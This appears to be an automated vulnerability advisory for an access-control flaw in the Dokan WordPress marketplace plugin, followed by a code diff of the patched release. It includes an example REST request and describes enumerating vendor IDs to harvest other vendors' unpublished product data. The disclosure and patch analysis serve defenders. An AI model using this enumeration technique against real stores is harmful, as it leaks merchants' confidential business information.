Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-11987: Dokan: AI Powered WooCommerce Multivendor Marketplace Solution <= 5.0.4 Authenticated (Subscriber+) Insecure Direct Object Reference to Information Disclosure via 'id' Parameter PoC, Patch Analysis & Rule

Plugin dokan-lite
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 5.0.4
Patched Version 5.0.5
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11987:

This vulnerability is an Insecure Direct Object Reference (IDOR) in the Dokan WooCommerce Multivendor Marketplace plugin for WordPress, affecting versions up to and including 5.0.4. An authenticated attacker with subscriber-level access can read any other vendor’s products, including unpublished draft and pending listings, exposing sensitive product data such as names, prices, SKUs, and descriptions. The CVSS score is 4.3 (Medium).

The root cause lies in the `prepare_objects_query` method within `/dokan-lite/includes/Abstracts/DokanRESTController.php` (lines 293-308 of the vulnerable code). The vulnerable code unconditionally sets `args[‘author’]` to the user-supplied `id` parameter from the REST request when present, without validating that the authenticated user owns that author ID or has permission to view that vendor’s products. The permission callbacks for both the collection endpoint and the single-item endpoint only verify the generic vendor capability (`dokan_view_product_menu` or `dokandar`), which every vendor holds, rather than confirming the requested author ID or product ownership matches the authenticated user.

An authenticated attacker with subscriber-level access can exploit this by sending a REST API request to endpoints like `/wp-json/dokan/v1/products` or similar product collection endpoints, passing an `id` parameter containing another vendor’s user ID. For example, a GET request to `/wp-json/dokan/v1/products?id=2` would return products belonging to the vendor with ID 2, including drafts and pending reviews. The attacker only needs to iterate through numeric user IDs to harvest product information from all vendors on the marketplace.

The patch (in version 5.0.5) adds a critical authorization check in the same `prepare_objects_query` function. The fix introduces a `$can_target_other_vendor` boolean that is set to `true` only if the current user has the store admin capability (`dokan_admin_menu_capability()`) AND the request includes an `id` parameter. The `args[‘author’]` is then set to the user-supplied `id` only when `$can_target_other_vendor` is true; otherwise, it defaults to the authenticated user’s ID via `dokan_get_current_user_id()`. This ensures that only store administrators can query products belonging to other vendors, while vendors and subscribers remain scoped to their own products.

If exploited, this vulnerability allows an authenticated attacker to enumerate all products in the marketplace, including unpublished draft and pending listings that would normally be invisible to other vendors. This exposes confidential business information such as product names, prices, SKUs, descriptions, and stock levels of competing vendors. The attacker can gather competitive intelligence, identify products being developed or tested, and potentially replicate successful product strategies.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/dokan-lite/assets/js/components.asset.php
+++ b/dokan-lite/assets/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'aeeca4e1bc99c4509a21');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'f0e90796089291549e77');
--- a/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
+++ b/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'ed3689c282f6a28ab8c7');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'e1e36404032ded246205');
--- a/dokan-lite/assets/js/dokan-tailwind.asset.php
+++ b/dokan-lite/assets/js/dokan-tailwind.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'cad1dd82144b4683a743');
+<?php return array('dependencies' => array(), 'version' => 'a4b84f8ce2cf8b9c4b95');
--- a/dokan-lite/assets/js/frontend.asset.php
+++ b/dokan-lite/assets/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'a6eb66e5fe137882c8cf');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '352100595abea732cd55');
--- a/dokan-lite/assets/js/product-editor-store.asset.php
+++ b/dokan-lite/assets/js/product-editor-store.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-data'), 'version' => '6874793a775add0cf825');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-data', 'wp-i18n'), 'version' => 'e34f97aeb2a6877d7c54');
--- a/dokan-lite/assets/js/product-editor-utils.asset.php
+++ b/dokan-lite/assets/js/product-editor-utils.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'f7258d27b830040088c8');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'aa653a2708d298468842');
--- a/dokan-lite/assets/js/utilities.asset.php
+++ b/dokan-lite/assets/js/utilities.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wc-csv', 'wc-date'), 'version' => 'bf90477a237e82cf6a73');
+<?php return array('dependencies' => array('wc-csv', 'wc-date', 'wp-i18n'), 'version' => '59071d2a67f4bf914639');
--- a/dokan-lite/assets/js/vendor-dashboard/layout/index.asset.php
+++ b/dokan-lite/assets/js/vendor-dashboard/layout/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'c408fed91d629d8b27ff');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'c0fd74b925719a7bd393');
--- a/dokan-lite/dokan-class.php
+++ b/dokan-lite/dokan-class.php
@@ -27,7 +27,7 @@
      *
      * @var string
      */
-    public $version = '5.0.4';
+    public $version = '5.0.5';

     /**
      * Instance of self
--- a/dokan-lite/dokan.php
+++ b/dokan-lite/dokan.php
@@ -3,7 +3,7 @@
  * Plugin Name: Dokan
  * Plugin URI: https://dokan.co/wordpress/
  * Description: An e-commerce marketplace plugin for WordPress. Powered by WooCommerce and weDevs.
- * Version: 5.0.4
+ * Version: 5.0.5
  * Author: Dokan Inc.
  * Author URI: https://dokan.co/wordpress/
  * Text Domain: dokan-lite
--- a/dokan-lite/includes/Abstracts/DokanRESTController.php
+++ b/dokan-lite/includes/Abstracts/DokanRESTController.php
@@ -293,10 +293,14 @@
      * @return array
      */
     protected function prepare_objects_query( $request ) {
+        // Vendors are always scoped to their own objects; only a store admin may target another vendor via the id param.
+        $is_store_admin          = current_user_can( dokan_admin_menu_capability() );
+        $can_target_other_vendor = $is_store_admin && isset( $request['id'] );
+
         $args                        = array();
         $args['fields']              = 'ids';
         $args['post_status']         = ! isset( $request['post_status'] ) ? $this->post_status : $request['post_status'];
-        $args['author']              = ! isset( $request['id'] ) ? dokan_get_current_user_id() : $request['id'];
+        $args['author']              = $can_target_other_vendor ? (int) $request['id'] : dokan_get_current_user_id();
         $args['offset']              = $request['offset'];
         $args['order']               = $request['order'];
         $args['orderby']             = $request['orderby'];
--- a/dokan-lite/includes/Admin/Menu.php
+++ b/dokan-lite/includes/Admin/Menu.php
@@ -30,7 +30,7 @@
     public function add_admin_menu() {
         global $submenu;

-        $capability = dokana_admin_menu_capability();
+        $capability = dokan_admin_menu_capability();
         if ( ! current_user_can( $capability ) ) {
             return;
         }
--- a/dokan-lite/includes/Product/Hooks.php
+++ b/dokan-lite/includes/Product/Hooks.php
@@ -129,12 +129,13 @@
             }

             $output .= '<li>';
-            $output .= '<a href="' . get_post_permalink( $result->ID ) . '">';
+            // Escape every vendor-controlled value below before it is injected into the AJAX search markup.
+            $output .= '<a href="' . esc_url( get_post_permalink( $result->ID ) ) . '">';
             $output .= '<div class="dokan-ls-product-image">';
             $output .= '<img src="' . $get_product_image . '">';
             $output .= '</div>';
             $output .= '<div class="dokan-ls-product-data">';
-            $output .= '<h3>' . $get_name . '</h3>';
+            $output .= '<h3>' . esc_html( $get_name ) . '</h3>';

             if ( ! empty( $price ) ) {
                 $output .= '<div class="product-price">';
@@ -150,15 +151,15 @@
                 foreach ( $categories as $category ) {
                     if ( $category->parent ) {
                         $parent = get_term_by( 'id', $category->parent, 'product_cat' );
-                        $output .= '<span>' . $parent->name . '</span>';
+                        $output .= '<span>' . esc_html( $parent->name ) . '</span>';
                     }
-                    $output .= '<span>' . $category->name . '</span>';
+                    $output .= '<span>' . esc_html( $category->name ) . '</span>';
                 }
                 $output .= '</div>';
             }

             if ( ! empty( $sku ) ) {
-                $output .= '<div class="dokan-ls-product-sku">' . esc_html__( 'SKU:', 'dokan-lite' ) . ' ' . $sku . '</div>';
+                $output .= '<div class="dokan-ls-product-sku">' . esc_html__( 'SKU:', 'dokan-lite' ) . ' ' . esc_html( $sku ) . '</div>';
             }

             $output .= '</div>';
--- a/dokan-lite/includes/Product/functions.php
+++ b/dokan-lite/includes/Product/functions.php
@@ -484,7 +484,7 @@
     if ( current_user_can( 'dokan_edit_product' ) ) {
         $row_action['edit'] = [
             'title' => __( 'Edit', 'dokan-lite' ),
-            'url'   => $edit_url = '/dashboard/new/#products/' . $product_id . '/edit',
+            'url'   => dokan_edit_product_url( $product_id ),
             'class' => 'edit',
         ];
     }
--- a/dokan-lite/includes/ProductEditor/FormSchema.php
+++ b/dokan-lite/includes/ProductEditor/FormSchema.php
@@ -407,6 +407,9 @@

         $can_create_tags = dokan()->is_pro_exists() ? dokan_get_option( 'product_vendors_can_create_tags', 'dokan_selling', 'off' ) : 'off';

+        // Vendors may be restricted to a single product category via the admin selling settings.
+        $is_single_category = ProductCategoryHelper::product_category_selection_is_single();
+
         $dep_downloadable = [
             [
                 'comparison' => '==',
@@ -453,16 +456,18 @@
                 'label'      => __( 'General', 'dokan-lite' ),
                 'required'   => true,
                 'visibility' => true,
+                'is_mandatory' => true,
             ],
             [
                 'id'             => Elements::NAME,
-                'section_id'   => Elements::SECTION_GENERAL,
+                'section_id'     => Elements::SECTION_GENERAL,
                 'type'           => 'field',
                 'label'          => __( 'Title', 'dokan-lite' ),
                 'variant'        => 'text',
                 'placeholder'    => __( 'Enter product title...', 'dokan-lite' ),
                 'required'       => true,
                 'visibility'     => true,
+                'is_mandatory'   => true,
             ],
             [
                 'id'               => Elements::SLUG,
@@ -483,6 +488,7 @@
                 'variant'        => 'select',
                 'value'          => 'simple',
                 'required'       => true,
+                'is_mandatory'   => true,
                 'options'        => $this->get_product_types(),
                 'description'    => __( 'Choose Variable if your product has multiple attributes - like sizes, colors, quality etc', 'dokan-lite' ),
                 'tooltip'        => __( 'Choose product type.', 'dokan-lite' ),
@@ -579,11 +585,17 @@
                 'section_id'       => Elements::SECTION_GENERAL,
                 'type'             => 'field',
                 'label'            => __( 'Categories', 'dokan-lite' ),
-                'variant'          => 'multiselect',
+                'variant'          => 'async_select',
                 'placeholder'      => __( 'Select product categories', 'dokan-lite' ),
                 'value'            => [],
-                'options'          => ProductCategoryHelper::get_product_categories_tree( true ),
+                // Loaded on demand as a nested tree instead of embedding the whole
+                // category hierarchy in the schema, which bloats memory on large catalogs.
+                'api_endpoint'     => '/dokan/v1/products/categories/tree',
+                'tree'             => true,
+                // Honor the admin "single vs. multiple" category selection setting.
+                'multiple'         => ! $is_single_category,
                 'required'         => true,
+                'is_mandatory'     => true,
                 'visibility'       => true,
             ],
             [
@@ -591,10 +603,12 @@
                 'section_id'       => Elements::SECTION_GENERAL,
                 'type'             => 'field',
                 'label'            => __( 'Tags', 'dokan-lite' ),
-                'variant'          => 'multiselect',
+                'variant'          => 'async_select',
                 'placeholder'      => 'on' === $can_create_tags ? __( 'Select tags/Add tags', 'dokan-lite' ) : __( 'Select product tags', 'dokan-lite' ),
                 'value'            => [],
-                'options'          => self::get_product_tags(),
+                // Tags load on demand from WooCommerce core (searchable/paginated) instead of
+                // embedding the whole tag taxonomy in the schema, which can exhaust memory on large stores.
+                'api_endpoint'     => '/wc/v3/products/tags',
                 'creatable'        => 'on' === $can_create_tags,
                 'visibility'       => true,
             ],
@@ -646,6 +660,7 @@
                 'variant'        => 'editor',
                 'placeholder'    => __( 'Enter product description', 'dokan-lite' ),
                 'required'       => true,
+                'is_mandatory'   => true,
                 'visibility'     => true,
             ],
             [
@@ -862,6 +877,7 @@
                 'variant'      => 'select',
                 'options'      => dokan_get_product_visibility_options(),
                 'required'     => true,
+                'is_mandatory' => true,
                 'visibility'   => true,
             ],
             [
@@ -910,23 +926,55 @@
         $items = apply_filters( 'dokan_product_editor_prepared_schema', $items, $product_id );

         if ( $product instanceof WC_Product ) {
+            $values = $this->get_field_values( $items, $product );
             foreach ( $items as &$item ) {
-                if ( $item['type'] === 'field' ) {
-                    $value         = $this->resolve_field_value( $item['id'], $product );
-                    $value         = $this->format_field_value( $value, $item['variant'] ?? 'text' );
-                    if ( empty( $value ) && isset( $item['value'] ) ) {
-                        // set default value from schema if resolved value is empty, e.g. for new products or when product meta is not set.
-                        $value = $item['value'];
-                    }
-                    $item['value'] = $value;
+                if ( $item['type'] === 'field' && array_key_exists( $item['id'], $values ) ) {
+                    $item['value'] = $values[ $item['id'] ];
                 }
             }
+            unset( $item );
         }

         return $items;
     }

     /**
+     * Resolve and format values for a set of schema fields against a product.
+     *
+     * Lets callers that already hold field definitions resolve per-product
+     * values without rebuilding the whole schema. The frontend variation
+     * renderer uses this to avoid one full schema build per variation.
+     *
+     * @since 5.0.5
+     *
+     * @param array      $fields  Schema field items (each with at least 'id', 'type', 'variant').
+     * @param WC_Product $product Product to resolve values against.
+     *
+     * @return array<string, mixed> Map of field id => formatted value.
+     */
+    public function get_field_values( array $fields, WC_Product $product ): array {
+        $values = [];
+
+        foreach ( $fields as $field ) {
+            if ( ( $field['type'] ?? '' ) !== 'field' || ! isset( $field['id'] ) ) {
+                continue;
+            }
+
+            $value = $this->resolve_field_value( $field['id'], $product );
+            $value = $this->format_field_value( $value, $field['variant'] ?? 'text' );
+
+            if ( empty( $value ) && isset( $field['value'] ) ) {
+                // Fall back to the field's schema default, e.g. for new products or unset meta.
+                $value = $field['value'];
+            }
+
+            $values[ $field['id'] ] = $value;
+        }
+
+        return $values;
+    }
+
+    /**
      * Format a resolved field value to the shape expected by the frontend based on variant.
      *
      * Resolve_field_value() returns raw values (int, array of ints, etc.).
@@ -1029,8 +1077,21 @@
             case Elements::DATE_ON_SALE_TO:
                 $to = $product->get_date_on_sale_to( 'edit' );
                 return $to ? $to->date( 'Y-m-d' ) : '';
+            case Elements::CATEGORIES:
+                // Async select expects [ { value, label }, ... ] so selected categories render
+                // without the full category tree being embedded in the schema.
+                $category_options = self::terms_to_async_options( $product->get_category_ids(), 'product_cat' );
+
+                // Single-category stores keep one selection; surface only the first saved term.
+                if ( ProductCategoryHelper::product_category_selection_is_single() ) {
+                    return array_slice( $category_options, 0, 1 );
+                }
+
+                return $category_options;
             case Elements::TAGS:
-                return $product->get_tag_ids();
+                // Async select expects [ { value, label }, ... ] so selected tags render
+                // without the full tag list being embedded in the schema.
+                return self::terms_to_async_options( $product->get_tag_ids(), 'product_tag' );
             case Elements::BRANDS:
                 if ( method_exists( $product, 'get_brand_ids' ) ) {
                     return $product->get_brand_ids();
@@ -1121,6 +1182,50 @@
     }

     /**
+     * Convert a list of term IDs to async-select options: [ { value, label }, ... ].
+     *
+     * Used by async-select fields (e.g. tags) so the currently selected terms render
+     * their labels without embedding the whole taxonomy in the form schema.
+     *
+     * @since 5.0.5
+     *
+     * @param array  $term_ids Term IDs.
+     * @param string $taxonomy Taxonomy name.
+     *
+     * @return array
+     */
+    public static function terms_to_async_options( array $term_ids, string $taxonomy ): array {
+        $term_ids = array_filter( array_map( 'absint', $term_ids ) );
+        if ( empty( $term_ids ) ) {
+            return [];
+        }
+
+        $terms = get_terms(
+            [
+                'taxonomy'   => $taxonomy,
+                'include'    => $term_ids,
+                'hide_empty' => false,
+                'orderby'    => 'name',
+                'order'      => 'ASC',
+            ]
+        );
+
+        if ( is_wp_error( $terms ) ) {
+            return [];
+        }
+
+        return array_map(
+            function ( $term ) {
+                return [
+                    'value' => $term->term_id,
+                    'label' => $term->name,
+                ];
+            },
+            $terms
+        );
+    }
+
+    /**
      * Get product brands recursively for form options.
      *
      * @since 5.0.0
--- a/dokan-lite/includes/ProductEditor/PayloadResolver.php
+++ b/dokan-lite/includes/ProductEditor/PayloadResolver.php
@@ -150,6 +150,12 @@

         $result = [];
         foreach ( $tags as $tag ) {
+            // Async-select sends option objects: [ { value, label, __isNew__ }, ... ].
+            // Existing tags carry a numeric term ID as value; newly created ones carry the typed name.
+            if ( is_array( $tag ) && isset( $tag['value'] ) ) {
+                $tag = $tag['value'];
+            }
+
             if ( is_numeric( $tag ) && (int) $tag > 0 ) {
                 $result[] = [ 'id' => (int) $tag ];
                 continue;
@@ -340,6 +346,10 @@
     public function map_ids_to_objects( array $ids ): array {
         return array_map(
             static function ( $id ) {
+                // Async-select sends option objects [ { value, label }, ... ]; pull the id out.
+                if ( is_array( $id ) && isset( $id['value'] ) ) {
+                    $id = $id['value'];
+                }
                 return [ 'id' => (int) $id ];
             },
             $ids
--- a/dokan-lite/includes/REST/ProductAttributeController.php
+++ b/dokan-lite/includes/REST/ProductAttributeController.php
@@ -63,6 +63,57 @@
                 ),
             )
         );
+
+        // REST API for lazily fetching / creating terms of a global attribute.
+        register_rest_route(
+            $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)/terms',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::READABLE,
+                    'callback'            => array( $this, 'get_attribute_terms' ),
+                    'permission_callback' => array( $this, 'get_items_permissions_check' ),
+                    'args'                => array(
+                        'id'       => array(
+                            'description' => __( 'Attribute ID.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'required'    => true,
+                        ),
+                        'search'   => array(
+                            'description' => __( 'Limit results to terms matching a string.', 'dokan-lite' ),
+                            'type'        => 'string',
+                        ),
+                        'page'     => array(
+                            'description' => __( 'Current page of the collection.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'default'     => 1,
+                        ),
+                        'per_page' => array(
+                            'description' => __( 'Maximum number of terms to return in the result set.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'default'     => 20,
+                        ),
+                    ),
+                ),
+                array(
+                    'methods'             => WP_REST_Server::CREATABLE,
+                    'callback'            => array( $this, 'create_attribute_term' ),
+                    'permission_callback' => array( $this, 'create_attribute_term_permissions_check' ),
+                    'args'                => array(
+                        'id'   => array(
+                            'description' => __( 'Attribute ID.', 'dokan-lite' ),
+                            'type'        => 'integer',
+                            'required'    => true,
+                        ),
+                        'name' => array(
+                            'description'       => __( 'Term name.', 'dokan-lite' ),
+                            'type'              => 'string',
+                            'required'          => true,
+                            'sanitize_callback' => 'sanitize_text_field',
+                        ),
+                    ),
+                ),
+            )
+        );
     }

     /**
@@ -129,6 +180,30 @@
     }

     /**
+     * Check if a given request has access to create a new attribute term.
+     *
+     * Creating terms is only allowed when vendors are permitted to add new
+     * attributes from the selling options.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return bool|WP_Error
+     */
+    public function create_attribute_term_permissions_check( $request ) {
+        if ( 'on' !== dokan_get_option( 'add_new_attribute', 'dokan_selling', 'off' ) ) {
+            return new WP_Error(
+                'dokan_rest_cannot_create',
+                __( 'Sorry, you are not allowed to create new attribute terms.', 'dokan-lite' ),
+                array( 'status' => rest_authorization_required_code() )
+            );
+        }
+
+        return current_user_can( 'dokan_edit_product' );
+    }
+
+    /**
      * Check if a given request has access to delete a attribute.
      *
      * @param  WP_REST_Request $request Full details about the request.
@@ -271,4 +346,131 @@

         return rest_ensure_response( $is_saved );
     }
+
+    /**
+     * Resolve a global attribute taxonomy from its attribute ID.
+     *
+     * @since 5.0.5
+     *
+     * @param int $attribute_id Global attribute ID.
+     *
+     * @return string|WP_Error Taxonomy name, or error if the attribute is invalid.
+     */
+    protected function get_attribute_taxonomy_by_id( $attribute_id ) {
+        $taxonomy = wc_attribute_taxonomy_name_by_id( absint( $attribute_id ) );
+
+        if ( empty( $taxonomy ) || ! taxonomy_exists( $taxonomy ) ) {
+            return new WP_Error( 'dokan_rest_attribute_invalid', __( 'Invalid attribute.', 'dokan-lite' ), [ 'status' => 404 ] );
+        }
+
+        return $taxonomy;
+    }
+
+    /**
+     * Format a term for the product editor response.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_Term $term Term object.
+     *
+     * @return array
+     */
+    protected function prepare_attribute_term( $term ) {
+        return [
+            'id'    => $term->term_id,
+            'name'  => $term->name,
+            'value' => $term->term_id,
+            'label' => $term->name,
+        ];
+    }
+
+    /**
+     * Get terms of a global product attribute (searchable + paginated).
+     *
+     * Terms are loaded lazily by the product editor instead of being embedded
+     * into the form schema, so stores with very large attribute taxonomies do
+     * not exhaust memory while building the editor payload.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_Error|WP_REST_Response
+     */
+    public function get_attribute_terms( $request ) {
+        $taxonomy = $this->get_attribute_taxonomy_by_id( $request['id'] );
+
+        if ( is_wp_error( $taxonomy ) ) {
+            return $taxonomy;
+        }
+
+        $per_page = absint( $request['per_page'] );
+        $per_page = $per_page > 0 ? $per_page : 20;
+        $page     = max( 1, absint( $request['page'] ) );
+        $search   = isset( $request['search'] ) ? sanitize_text_field( wp_unslash( $request['search'] ) ) : '';
+
+        $args = [
+            'taxonomy'   => $taxonomy,
+            'hide_empty' => false,
+            'number'     => $per_page,
+            'offset'     => ( $page - 1 ) * $per_page,
+            'orderby'    => 'name',
+            'order'      => 'ASC',
+        ];
+
+        if ( '' !== $search ) {
+            $args['search'] = $search;
+        }
+
+        $terms = get_terms( $args );
+
+        if ( is_wp_error( $terms ) ) {
+            return rest_ensure_response( [] );
+        }
+
+        return rest_ensure_response( array_map( [ $this, 'prepare_attribute_term' ], $terms ) );
+    }
+
+    /**
+     * Create a new term for a global product attribute.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_Error|WP_REST_Response
+     */
+    public function create_attribute_term( $request ) {
+        $taxonomy = $this->get_attribute_taxonomy_by_id( $request['id'] );
+
+        if ( is_wp_error( $taxonomy ) ) {
+            return $taxonomy;
+        }
+
+        $name = sanitize_text_field( wp_unslash( $request['name'] ) );
+
+        if ( '' === $name ) {
+            return new WP_Error( 'dokan_rest_term_name_required', __( 'Term name is required.', 'dokan-lite' ), [ 'status' => 400 ] );
+        }
+
+        // Return the existing term instead of erroring when the term already exists.
+        $existing = get_term_by( 'name', $name, $taxonomy );
+        if ( $existing && ! is_wp_error( $existing ) ) {
+            return rest_ensure_response( $this->prepare_attribute_term( $existing ) );
+        }
+
+        $inserted = wp_insert_term( $name, $taxonomy );
+
+        if ( is_wp_error( $inserted ) ) {
+            return new WP_Error( 'dokan_rest_cannot_create_term', $inserted->get_error_message(), [ 'status' => 400 ] );
+        }
+
+        $term = get_term( $inserted['term_id'], $taxonomy );
+
+        if ( ! $term || is_wp_error( $term ) ) {
+            return new WP_Error( 'dokan_rest_cannot_create_term', __( 'Failed to create attribute term.', 'dokan-lite' ), [ 'status' => 400 ] );
+        }
+
+        return rest_ensure_response( $this->prepare_attribute_term( $term ) );
+    }
 }
--- a/dokan-lite/includes/REST/ProductController.php
+++ b/dokan-lite/includes/REST/ProductController.php
@@ -489,11 +489,31 @@
      * Get_single_product_permissions_check
      *
      * @since 2.8.0
+     * @since 5.0.5 Added check for dokan_is_product_author()
      *
      * @return bool
      */
-    public function get_single_product_permissions_check() {
-        return current_user_can( 'dokandar' ) || current_user_can( 'manage_options' );
+    public function get_single_product_permissions_check( $request ) {
+        // Store admins may read any product.
+        if ( current_user_can( 'manage_options' ) ) {
+            return true;
+        }
+
+        if ( ! current_user_can( 'dokandar' ) ) {
+            return false;
+        }
+
+        // A vendor may only read their own product.
+        $request_id = (int) ( $request['id'] ?? 0 );
+        if ( ! dokan_is_product_author( $request_id ) ) {
+            return new WP_Error(
+                'dokan_rest_cannot_view',
+                __( 'Sorry, you are not allowed to view this product.', 'dokan-lite' ),
+                [ 'status' => rest_authorization_required_code() ]
+            );
+        }
+
+        return true;
     }

     /**
--- a/dokan-lite/includes/REST/ProductControllerV2.php
+++ b/dokan-lite/includes/REST/ProductControllerV2.php
@@ -274,7 +274,7 @@
         $product_types  = apply_filters( 'dokan_product_types', [ 'simple' => __( 'Simple', 'dokan-lite' ) ] );

         // If any vendor it trying to access other products then we need to replace author id by current user id.
-        if ( ! current_user_can( dokana_admin_menu_capability() ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) ) {
             $args['author'] = dokan_get_current_user_id();
         } elseif ( $request->get_param( 'author' ) ) {
             $args['author'] = $request->get_param( 'author' );
--- a/dokan-lite/includes/REST/ReverseWithdrawalController.php
+++ b/dokan-lite/includes/REST/ReverseWithdrawalController.php
@@ -233,7 +233,7 @@
         $manager                  = new Manager();
         $items                    = [];

-        if ( ! current_user_can( dokana_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
             $request_params['vendor_id'] = dokan_get_current_user_id();
         }

@@ -293,7 +293,7 @@
     public function get_vendor_due_status( $request ) {
         $request_params = $request->get_params();

-        if ( ! current_user_can( dokana_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
+        if ( ! current_user_can( dokan_admin_menu_capability() ) || ! isset( $request_params['vendor_id'] ) ) {
             $request_params['vendor_id'] = dokan_get_current_user_id();
         }

@@ -498,7 +498,7 @@
      * @return WP_REST_Response
      */
     public function prepare_transaction_for_response( $item, $request, &$current_balance ) {
-        $context = current_user_can( dokana_admin_menu_capability() ) ? 'admin' : 'seller';
+        $context = current_user_can( dokan_admin_menu_capability() ) ? 'admin' : 'seller';
         $data = Helper::get_formated_transaction_data( $item, $current_balance, $context );

         // Decode HTML entities in URL (wp_nonce_url encodes & as & which breaks in JSON/React context).
--- a/dokan-lite/includes/REST/VendorProductCategoriesController.php
+++ b/dokan-lite/includes/REST/VendorProductCategoriesController.php
@@ -7,6 +7,7 @@
 use WP_REST_Response;
 use WC_REST_Product_Categories_Controller;
 use WP_REST_Server;
+use WeDevsDokanProductCategoryHelper as ProductCategoryHelper;

